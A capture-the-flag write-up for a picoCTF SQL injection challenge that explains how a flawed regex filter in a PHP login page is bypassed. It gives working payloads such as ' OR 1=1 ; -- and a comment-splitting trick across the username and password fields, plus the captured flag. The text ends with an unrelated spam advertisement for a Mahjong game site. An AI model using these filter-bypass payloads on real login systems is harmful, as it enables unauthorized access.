Tags: regex sqli
Rating:
When browsing to the target URL, we are presented with a login form and a
[link to the login source code](http://2018shell3.picoctf.com:53261/login.txt) :
```php
";
echo "username: ", htmlspecialchars($username), "\n";
echo "password: ", htmlspecialchars($password), "\n";
echo "SQL query: ", htmlspecialchars($query), "\n";
echo "";
}
//validation check
$pattern ="/.*['\"].*OR.*/i";
$user_match = preg_match($pattern, $username);
$password_match = preg_match($pattern, $username);
if($user_match + $password_match > 0) {
echo "<h1>SQLi detected.</h1>";
}
else {
$result = $con->query($query);
$row = $result->fetchArray();
if ($row) {
echo "<h1>Logged in!</h1>";
echo "
Your flag is: $FLAG
";It is apparent from the code that we're looking at an SQL injection, this time
with a [regex](https://en.wikipedia.org/wiki/Regular_expression)-based filter
to circumvent.
We can also see that the script takes a `debug` parameter that will echo the
SQL query.
The regex used for validation is:
```
/.*['\"].*OR.*/i
```
That translates to
`(any character, 0 or more times) followed by (a single quote) followed by ("OR") followed by (any character, 0 or more times)`
This filter would prevent using the basic `' OR 1=1 --` injection.
## The filtering bug
If we look closely at the code, we can notice a mistake :
```php
$user_match = preg_match($pattern, $username);
$password_match = preg_match($pattern, $username);
```
Instead of checking the validation regex against the `username` and `password`
fields, the `username` field is checked twice ! This means we can use our basic
injection on the `password` field.
Thanks to the `debug` parameter, we know that the query is constructed as
follows:
```sql
SELECT 1 FROM users WHERE name='username' AND password='password'
```
So if we were to inject our `' OR 1=1 ; --` payload in the `password` field, we
would end up with the following query :
```sql
SELECT 1 FROM users WHERE name='username' AND password='' OR 1=1 ; --'
```
That circumvents password verification, but we still need a valid username for
the query to return at least one row.
So I took a wild guess and tried a username of `admin` and a password of
`' OR 1=1 ; --`. Bingo : `picoCTF{w3lc0m3_t0_th3_vau1t_23495366}`
## A better solution
Let's assume for a moment that the filter was correctly used (i.e. if the
`username` and `password` fields were correctly checked). Would that mean
that we couldn't leverage an SQL injection ? Certainly not.
Here's an alternative solution I thought about when writing this up : if you pass
`'/*` as username and `*/ OR 1=1 --` as password, you get the flag and would
get it without the bug exploited in the previous solution.
The reason for that is that the two components of the injection (the `'`
escaping the quoted block and the always true `OR 1=1` condition) that are checked
against are split in different fields, preventing the regex from matching :
- `'/*` has a single quote but no `OR` : the `username` field doesn't match
- `*/ OR 1=1 --` contains `OR` but no single quote before : the `password` field doesn't match
The `/* */` is pretty much the same as in javascript : it declares an inline
comment, meaning that anything between `/*` and `*/` will be ignored.
So with that request, this query is constructed
```sql
SELECT 1 FROM users WHERE name=''/*' AND password='*/ OR 1=1 --'
```
Removing the commented-out parts, this is executed :
```sql
SELECT 1 FROM users WHERE name='' OR 1=1
```
This is a better solution for 2 reasons :
1. It would work even if the filter checking were fixed
2. It doesn't require to guess a valid username.
Play the great free online Mahjong connect online game,millions over users like and play this game,such a great awesome addition game <a href="https://mahjongconnectonline.com">Play mahjongg connect</a> it is not high concept game,i have fully enjoyed play this board game,now this id right time play or forward this url link to all users.